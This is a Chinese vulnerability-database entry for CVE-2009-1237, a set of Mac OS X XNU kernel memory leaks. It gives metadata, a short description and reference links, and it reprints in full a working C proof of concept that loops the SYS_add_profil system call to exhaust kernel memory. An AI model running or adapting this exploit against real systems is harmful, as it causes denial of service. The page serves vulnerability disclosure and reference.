Apple Mac OS X 多个内存泄露漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117501 漏洞类型 资源管理错误
发布时间 2009-03-23 更新时间 2009-04-18
CVE编号 CVE-2009-1237 CNNVD-ID CNNVD-200904-049
漏洞平台 OSX CVSS评分 4.9
|漏洞来源
https://www.exploit-db.com/exploits/8264
https://cxsecurity.com/issue/WLB-2009040111
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200904-049
|漏洞详情
AppleMacOSX10.5.6及之前版本的平台上的XNU1228.3.13及之前版本存在多个内存泄露漏洞。本地用户可以借助一个特制的(1)SYS_add_profil或(2)SYS___mac_getfsstat系统呼叫,引起拒绝服务攻击(内存耗竭)。
|漏洞EXP
/* xnu-profil-leak.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS POC
 * by mu-b - Sat 16 Feb 2008
 *
 * - Tested on: Apple MACOS X 10.5.1 (xnu-1228.0.2~1/RELEASE_I386)
 *              Apple MACOS X 10.5.2 (xnu-1228.3.13~1/RELEASE_I386)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/syscall.h>
#include <unistd.h>

/* profil defines */
#define PROFIL_LEAK_NUM   65536 * 128

int
main (int argc, char **argv)
{
  char buf[1024];
  int i, n;

  printf ("Apple MACOS X xnu <= 1228.3.13 local kernel memory leak/DoS PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  printf ("* opening profil, pid: %d...", getpid ());
  if ((n = syscall (SYS_profil, &buf, sizeof buf, 0, 1)) < 0)
    {
      fprintf (stderr, "\n%s: syscall [SYS_profil]: failed: %d\n",
               argv[0], n);
      exit (EXIT_FAILURE);
    }
  printf ("done\n");

  printf ("* filling %d-bytes of kernel memory...\n", PROFIL_LEAK_NUM * 32);
  fflush (stdout);

  for (i = 0; i < PROFIL_LEAK_NUM; i++)
    {
      if ((n = syscall (SYS_add_profil, &buf, sizeof buf, 0, 1)) < 0)
        {
          fprintf (stderr, "\n%s: syscall [SYS_add_profil]: failed: %d\n",
                   argv[0], n);
          exit (EXIT_FAILURE);
        }
      printf ("** %d-bytes filled\r",  i * 32);
    }
  printf ("\n* done\n");

  while (1)
    sleep (1);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2009-03-23]
|参考资料

来源:BID
名称:34202
链接:http://www.securityfocus.com/bid/34202
来源:MILW0RM
名称:8264
链接:http://www.milw0rm.com/exploits/8264
来源:MILW0RM
名称:8263
链接:http://www.milw0rm.com/exploits/8263
来源:MISC
链接:http://www.informationweek.com/news/hardware/mac/showArticle.jhtml?articleID=216401181
来源:MISC
链接:http://www.digit-labs.org/files/exploits/xnu-profil-leak.c
来源:MISC
链接:http://www.digit-labs.org/files/exploits/xnu-macfsstat-leak.c
来源:SECUNIA
名称:34424
链接:http://secunia.com/advisories/34424